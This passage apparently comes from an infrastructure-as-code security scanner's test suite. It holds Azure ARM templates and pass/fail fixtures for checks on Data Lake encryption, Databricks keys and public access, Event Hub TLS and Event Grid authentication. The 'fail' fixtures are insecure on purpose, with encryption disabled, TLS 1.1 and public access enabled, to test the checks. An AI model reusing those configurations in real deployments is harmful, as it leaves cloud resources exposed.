"vaultBaseUrl": { "defaultValue": "", "type": "string" }, "keyName": { "defaultValue": "", "type": "string" }, "keyVersion": { "defaultValue": "", "type": "string" }, "enableCMK": { "defaultValue": false, "type": "bool" }, "cmkIdentity": { "defaultValue": "", "type": "string" } }, "variables": { "hasPE": "[greater(length(parameters('privateEndpoints')), 0)]", "resourceGroupId": "[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.value.name, '')]", "subNetId": "[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.privateEndpoint.properties.subnet.id, '')]", "subNetSub": "[if(variables('hasPE'),split(variables('subNetId'),'/')[2],'')]", "subNetRg": "[if(variables('hasPE'),split(variables('subNetId'),'/')[4],'')]", "subNetName": "[if(variables('hasPE'),split(variables('subNetId'),'/')[8],'')]", "integrateDns": "[if(variables('hasPE'),parameters('privateEndpoints')[0].privateDnsZoneConfiguration.integrateWithPrivateDnsZone, 'true')]" }, "resources": [ { "condition": "[equals(parameters('version'), 'V2')]", "type": "Microsoft.DataFactory/factories", "apiVersion": "2018-06-01", "name": "[parameters('name')]", "location": "[parameters('location')]", "identity": "[if(parameters('enableCMK'),json(parameters('userAssignedIdentitiesStr')), parameters('userAssignedIdentities'))]", "properties": { "repoConfiguration": "[if(bool(parameters('gitConfigureLater')), json('null'), json(concat('{\"type\": \"', parameters('gitRepoType'), '\",','\"accountName\": \"', parameters('gitAccountName'), '\",','\"repositoryName\": \"', parameters('gitRepositoryName'), '\",', if(equals(parameters('gitRepoType'), 'FactoryVSTSConfiguration'), concat('\"projectName\": \"', parameters('gitProjectName'), '\",'), ''),'\"collaborationBranch\": \"', parameters('gitCollaborationBranch'), '\",','\"rootFolder\": \"', parameters('gitRootFolder'), '\"}')))]", "publicNetworkAccess": "[if(bool(parameters('publicNetworkAccess')), 'Enabled', 'Disabled')]", "encryption": "[if(parameters('enableCMK'), json(concat('{\"identity\":{\"userAssignedIdentity\":\"', parameters('cmkIdentity'), '\"},','\"VaultBaseUrl\": \"', parameters('vaultBaseUrl'), '\",','\"KeyName\": \"', parameters('keyName'), '\",','\"KeyVersion\": \"', parameters('keyVersion'), '\"}')), json('null'))]" }, "tags": "[ if(contains(parameters('tagsByResource'), 'Microsoft.DataFactory/factories'), parameters('tagsByResource')['Microsoft.DataFactory/factories'], json('{}')) ]", "resources": [ { "condition": "[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]", "name": "[concat(parameters('name'), '/default')]", "type": "Microsoft.DataFactory/factories/managedVirtualNetworks", "apiVersion": "2018-06-01", "properties": {}, "dependsOn": [ "[concat('Microsoft.DataFactory/factories/', parameters('name'))]" ] }, { "condition": "[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]", "name": "[concat(parameters('name'), '/AutoResolveIntegrationRuntime')]", "type": "Microsoft.DataFactory/factories/integrationRuntimes", "apiVersion": "2018-06-01", "properties": { "type": "Managed", "managedVirtualNetwork": { "referenceName": "default", "type": "ManagedVirtualNetworkReference" }, "typeProperties": { "computeProperties": { "location": "AutoResolve", "dataFlowProperties": { "computeType": "General", "coreCount": 8, "timeToLive": 0 } } } }, "dependsOn": [ "[concat('Microsoft.DataFactory/factories/', parameters('name'))]", "[concat('Microsoft.DataFactory/factories/', parameters('name'), '/managedVirtualNetworks/default')]" ] } ] }, { "condition": "[and(not(parameters('publicNetworkAccess')), equals(parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.mode, 1))]", "apiVersion": "2018-05-01", "name": "[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]", "type": "Microsoft.Resources/deployments", "subscriptionId": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]", "location": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]", "dependsOn": [ "[parameters('name')]" ], "copy": { "name": "privateendpointscopy", "count": "[length(parameters('privateEndpoints'))]" }, "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Resources/resourceGroups", "apiVersion": "2021-04-01", "name": "[variables('resourceGroupId')]", "location": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]", "properties": {} } ] } } }, { "condition": "[not(parameters('publicNetworkAccess'))]", "apiVersion": "2017-05-10", "name": "[concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]", "type": "Microsoft.Resources/deployments", "resourceGroup": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]", "subscriptionId": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]", "dependsOn": [ "[parameters('name')]", "[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]" ], "copy": { "name": "privateendpointscopy", "count": "[length(parameters('privateEndpoints'))]" }, "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "location": "[parameters('location')]", "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]", "type": "Microsoft.Network/privateEndpoints", "apiVersion": "2020-03-01", "properties": { "subnet": { "id": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.subnet.id]" }, "privateLinkServiceConnections": [ { "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]", "properties": { "privateLinkServiceId": "[concat('/subscriptions/',parameters('subscription'),'/resourcegroups/',parameters('resourceGroup'), '/providers/Microsoft.DataFactory/factories/', parameters('name'))]", "groupIds": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.privateLinkServiceConnections[0].properties.groupIds]" } } ] }, "tags": {} } ] } } }, { "apiVersion": "2017-05-10", "name": "[concat('deployPrivateDnsZone-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]", "type": "Microsoft.Resources/deployments", "resourceGroup": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]", "subscriptionId": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]", "dependsOn": [ "[concat('Microsoft.Resources/deployments/', concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name))]" ], "condition": "[and(not(parameters('publicNetworkAccess')), variables('integrateDns'))]", "copy": { "name": "privateendpointdnscopy", "count": "[length(parameters('privateEndpoints'))]" }, "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/privateDnsZones", "apiVersion": "2018-09-01", "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]", "location": "global", "tags": {}, "properties": {} }, { "type": "Microsoft.Network/privateDnsZones/virtualNetworkLinks", "apiVersion": "2018-09-01", "name": "[concat(string(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName), '/', uniquestring(variables('subNetId')))]", "location": "global", "dependsOn": [ "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]" ], "properties": { "virtualNetwork": { "id": "[concat('/subscriptions/',variables('subNetSub'),'/resourceGroups/',variables('subNetRg'),'/providers/Microsoft.Network/virtualNetworks/',variables('subNetName'))]" }, "registrationEnabled": false } }, { "type": "Microsoft.Network/privateEndpoints/privateDnsZoneGroups", "apiVersion": "2020-03-01", "name": "[concat(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name, '/', 'default')]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]" ], "properties": { "privateDnsZoneConfigs": [ { "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]", "properties": { "privateDnsZoneId": "[concat('/subscriptions/',variables('subNetSub'),'/resourcegroups/',variables('subNetRg'), '/providers/Microsoft.Network/privateDnsZones/', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName )]" } } ] } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_DataLakeStoreEncryption/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DataLakeStore/accounts", "apiVersion": "2016-11-01", "name": "fail", "location": "[resourceGroup().location]", "properties": { "encryptionState": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_DataLakeStoreEncryption/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DataLakeStore/accounts", "apiVersion": "2016-11-01", "name": "pass", "location": "[resourceGroup().location]", "properties": { } } ] } ================================================ FILE: tests/arm/checks/resource/example_DataLakeStoreEncryption/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DataLakeStore/accounts", "apiVersion": "2016-11-01", "name": "pass2", "location": "[resourceGroup().location]", "properties": { "encryptionState": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "managedResourceGroupName": { "type": "string" }, "workspaceName": { "type": "string", "metadata": { "description": "The name of the Azure Databricks workspace to create." } }, "location": { "type": "string", "metadata": { "description": "Location for all resources." } }, "pricingTier": { "type": "string", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The pricing tier of workspace." } }, "keyVaultName": { "type": "string", "metadata": { "description": "The Azure Key Vault name." } }, "keyName": { "type": "string", "metadata": { "description": "The Azure Key Vault encryption key name." } }, "disablePublicIp": { "type": "bool", "metadata": { "description": "Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not" } } }, "resources": [ { "type": "Microsoft.Databricks/workspaces", "apiVersion": "2023-02-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('pricingTier')]" }, "properties": { "managedResourceGroupId": "[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]", "parameters": { "enableNoPublicIp": { "value": "[parameters('disablePublicIp')]" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "managedResourceGroupName": { "type": "string" }, "workspaceName": { "type": "string", "metadata": { "description": "The name of the Azure Databricks workspace to create." } }, "location": { "type": "string", "metadata": { "description": "Location for all resources." } }, "pricingTier": { "type": "string", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The pricing tier of workspace." } }, "keyVaultName": { "type": "string", "metadata": { "description": "The Azure Key Vault name." } }, "keyName": { "type": "string", "metadata": { "description": "The Azure Key Vault encryption key name." } }, "disablePublicIp": { "type": "bool", "metadata": { "description": "Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not" } } }, "resources": [ { "type": "Microsoft.Databricks/workspaces", "apiVersion": "2023-02-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('pricingTier')]" }, "properties": { "managedResourceGroupId": "[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]", "parameters": { "prepareEncryption": { "value": false }, "enableNoPublicIp": { "value": "[parameters('disablePublicIp')]" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "managedResourceGroupName": { "type": "string" }, "workspaceName": { "type": "string", "metadata": { "description": "The name of the Azure Databricks workspace to create." } }, "location": { "type": "string", "metadata": { "description": "Location for all resources." } }, "pricingTier": { "type": "string", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The pricing tier of workspace." } }, "keyVaultName": { "type": "string", "metadata": { "description": "The Azure Key Vault name." } }, "keyName": { "type": "string", "metadata": { "description": "The Azure Key Vault encryption key name." } }, "disablePublicIp": { "type": "bool", "metadata": { "description": "Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not" } } }, "resources": [ { "type": "Microsoft.Databricks/workspaces", "apiVersion": "2023-02-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('pricingTier')]" }, "properties": { "managedResourceGroupId": "[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]", "parameters": { "prepareEncryption": { "value": true }, "encryption": { "value": { "keySource": "Microsoft.Keyvault", "keyvaulturi": "[uri(format('https://{0}{1}', parameters('keyVaultName'), environment().suffixes.keyvaultDns), '/')]", "KeyName": "[parameters('keyName')]" } }, "enableNoPublicIp": { "value": "[parameters('disablePublicIp')]" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_DatabricksWorkspaceIsNotPublic/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "managedResourceGroupName": { "type": "string" }, "workspaceName": { "type": "string", "metadata": { "description": "The name of the Azure Databricks workspace to create." } }, "location": { "type": "string", "metadata": { "description": "Location for all resources." } }, "pricingTier": { "type": "string", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The pricing tier of workspace." } }, "keyVaultName": { "type": "string", "metadata": { "description": "The Azure Key Vault name." } }, "keyName": { "type": "string", "metadata": { "description": "The Azure Key Vault encryption key name." } }, "disablePublicIp": { "type": "bool", "metadata": { "description": "Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not" } } }, "resources": [ { "type": "Microsoft.Databricks/workspaces", "apiVersion": "2023-02-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('pricingTier')]" }, "properties": { "publicNetworkAccess": "Enabled", "managedResourceGroupId": "[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]", "parameters": { "enableNoPublicIp": { "value": "[parameters('disablePublicIp')]" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_DatabricksWorkspaceIsNotPublic/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "managedResourceGroupName": { "type": "string" }, "workspaceName": { "type": "string", "metadata": { "description": "The name of the Azure Databricks workspace to create." } }, "location": { "type": "string", "metadata": { "description": "Location for all resources." } }, "pricingTier": { "type": "string", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The pricing tier of workspace." } }, "keyVaultName": { "type": "string", "metadata": { "description": "The Azure Key Vault name." } }, "keyName": { "type": "string", "metadata": { "description": "The Azure Key Vault encryption key name." } }, "disablePublicIp": { "type": "bool", "metadata": { "description": "Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not" } } }, "resources": [ { "type": "Microsoft.Databricks/workspaces", "apiVersion": "2023-02-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('pricingTier')]" }, "properties": { "managedResourceGroupId": "[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]", "parameters": { "enableNoPublicIp": { "value": "[parameters('disablePublicIp')]" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_DatabricksWorkspaceIsNotPublic/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "managedResourceGroupName": { "type": "string" }, "workspaceName": { "type": "string", "metadata": { "description": "The name of the Azure Databricks workspace to create." } }, "location": { "type": "string", "metadata": { "description": "Location for all resources." } }, "pricingTier": { "type": "string", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The pricing tier of workspace." } }, "keyVaultName": { "type": "string", "metadata": { "description": "The Azure Key Vault name." } }, "keyName": { "type": "string", "metadata": { "description": "The Azure Key Vault encryption key name." } }, "disablePublicIp": { "type": "bool", "metadata": { "description": "Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not" } } }, "resources": [ { "type": "Microsoft.Databricks/workspaces", "apiVersion": "2023-02-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('pricingTier')]" }, "properties": { "publicNetworkAccess": "Disabled", "requiredNsgRules": "AllRules", "managedResourceGroupId": "[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]", "parameters": { "enableNoPublicIp": { "value": "[parameters('disablePublicIp')]" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_DatabricksWorkspaceIsNotPublic/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "managedResourceGroupName": { "type": "string" }, "workspaceName": { "type": "string", "metadata": { "description": "The name of the Azure Databricks workspace to create." } }, "location": { "type": "string", "metadata": { "description": "Location for all resources." } }, "pricingTier": { "type": "string", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The pricing tier of workspace." } }, "keyVaultName": { "type": "string", "metadata": { "description": "The Azure Key Vault name." } }, "keyName": { "type": "string", "metadata": { "description": "The Azure Key Vault encryption key name." } }, "disablePublicIp": { "type": "bool", "metadata": { "description": "Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not" } } }, "resources": [ { "type": "Microsoft.Databricks/workspaces", "apiVersion": "2023-02-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('pricingTier')]" }, "properties": { "publicNetworkAccess": "Disabled", "requiredNsgRules": "NoAzureDatabricksRules", "managedResourceGroupId": "[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]", "parameters": { "enableNoPublicIp": { "value": "[parameters('disablePublicIp')]" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventHubNamespaceMinTLS12/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.EventHub/namespaces", "apiVersion": "2024-01-01", "name": "fail", "location": "[resourceGroup().location]", "sku": { "name": "Standard" }, "properties": { "minimumTlsVersion": "1.1" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventHubNamespaceMinTLS12/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.EventHub/namespaces", "apiVersion": "2024-01-01", "name": "pass", "location": "[resourceGroup().location]", "sku": { "name": "Standard", "capacity": 2 }, "properties": { "minimumTlsVersion": "1.2" }, "tags": { "environment": "Production" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventHubNamespaceMinTLS12/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.EventHub/namespaces", "apiVersion": "2024-01-01", "name": "pass2", "location": "[resourceGroup().location]", "sku": { "name": "Standard" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventgridTopicIdentityProviderEnabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.EventGrid/topics", "apiVersion": "2023-12-15-preview", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "sku": { "name": "string" }, "kind": "string", "extendedLocation": { "name": "string", "type": "string" }, "identity": { "principalId": "string", "tenantId": "string", "userAssignedIdentities": { "{customized property}": { "clientId": "string", "principalId": "string" } } }, "properties": { "dataResidencyBoundary": "string", "eventTypeInfo": { "inlineEventTypes": { "{customized property}": { "dataSchemaUrl": "string", "description": "string", "displayName": "string", "documentationUrl": "string" } }, "kind": "Inline" }, "inboundIpRules": [ { "action": "Allow", "ipMask": "string" } ], "inputSchema": "string", "inputSchemaMapping": { "inputSchemaMappingType": "string" }, "minimumTlsVersionAllowed": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventgridTopicIdentityProviderEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.EventGrid/topics", "apiVersion": "2023-12-15-preview", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "sku": { "name": "string" }, "kind": "string", "extendedLocation": { "name": "string", "type": "string" }, "identity": { "principalId": "string", "tenantId": "string", "type": "string", "userAssignedIdentities": { "{customized property}": { "clientId": "string", "principalId": "string" } } }, "properties": { "dataResidencyBoundary": "string", "disableLocalAuth": false, "eventTypeInfo": { "inlineEventTypes": { "{customized property}": { "dataSchemaUrl": "string", "description": "string", "displayName": "string", "documentationUrl": "string" } }, "kind": "Inline" }, "inboundIpRules": [ { "action": "Allow", "ipMask": "string" } ], "inputSchema": "string", "inputSchemaMapping": { "inputSchemaMappingType": "string" }, "minimumTlsVersionAllowed": "string", "publicNetworkAccess": "disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventgridTopicLocalAuthentication/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.EventGrid/topics", "apiVersion": "2023-12-15-preview", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "sku": { "name": "string" }, "kind": "string", "extendedLocation": { "name": "string", "type": "string" }, "identity": { "principalId": "string", "tenantId": "string", "type": "string", "userAssignedIdentities": { "{customized property}": { "clientId": "string", "principalId": "string" } } }, "properties": { "dataResidencyBoundary": "string", "eventTypeInfo": { "inlineEventTypes": { "{customized property}": { "dataSchemaUrl": "string", "description": "string", "displayName": "string", "documentationUrl": "string" } }, "kind": "Inline" }, "inboundIpRules": [ { "action": "Allow", "ipMask": "string" } ], "inputSchema": "string", "inputSchemaMapping": { "inputSchemaMappingType": "string" }, "minimumTlsVersionAllowed": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventgridTopicLocalAuthentication/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.EventGrid/topics", "apiVersion": "2023-12-15-preview", "name": "fail2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "sku": { "name": "string" }, "kind": "string", "extendedLocation": { "name": "string", "type": "string" }, "identity": { "principalId": "string", "tenantId": "string", "type": "string", "userAssignedIdentities": { "{customized property}": { "clientId": "string", "principalId": "string" } } }, "properties": { "dataResidencyBoundary": "string", "disableLocalAuth": false, "eventTypeInfo": { "inlineEventTypes": { "{customized property}": { "dataSchemaUrl": "string", "description": "string", "displayName": "string", "documentationUrl": "string" } }, "kind": "Inline" }, "inboundIpRules": [ { "action": "Allow", "ipMask": "string" } ], "inputSchema": "string", "inputSchemaMapping": { "inputSchemaMappingType": "string" }, "minimumTlsVersionAllowed": "string", "publicNetworkAccess": "enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventgridTopicLocalAuthentication/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.EventGrid/topics", "apiVersion": "2023-12-15-preview", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "sku": { "name": "string" }, "kind": "string", "extendedLocation": { "name": "string", "type": "string" }, "identity": { "principalId": "string", "tenantId": "string", "type": "string", "userAssignedIdentities": { "{customized property}": { "clientId": "string", "principalId": "string" } } }, "properties": { "dataResidencyBoundary": "string", "disableLocalAuth": true, "eventTypeInfo": { "inlineEventTypes": { "{customized property}": { "dataSchemaUrl": "string", "description": "string", "displayName": "string", "documentationUrl": "string" } }, "kind": "Inline" }, "inboundIpRules": [ { "action": "Allow", "ipMask": "string" } ], "inputSchema": "string", "inputSchemaMapping": { "inputSchemaMappingType": "string" }, "minimumTlsVersionAllowed": "string", "publicNetworkAccess": "disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventgridTopicNetworkAccess/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.EventGrid/topics", "apiVersion": "2023-12-15-preview", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "sku": { "name": "string" }, "kind": "string", "extendedLocation": { "name": "string", "type": "string" }, "identity": { "principalId": "string", "tenantId": "string", "type": "string", "userAssignedIdentities": { "{customized property}": { "clientId": "string", "principalId": "string" } } }, "properties": { "dataResidencyBoundary": "string", "disableLocalAuth": "bool", "eventTypeInfo": { 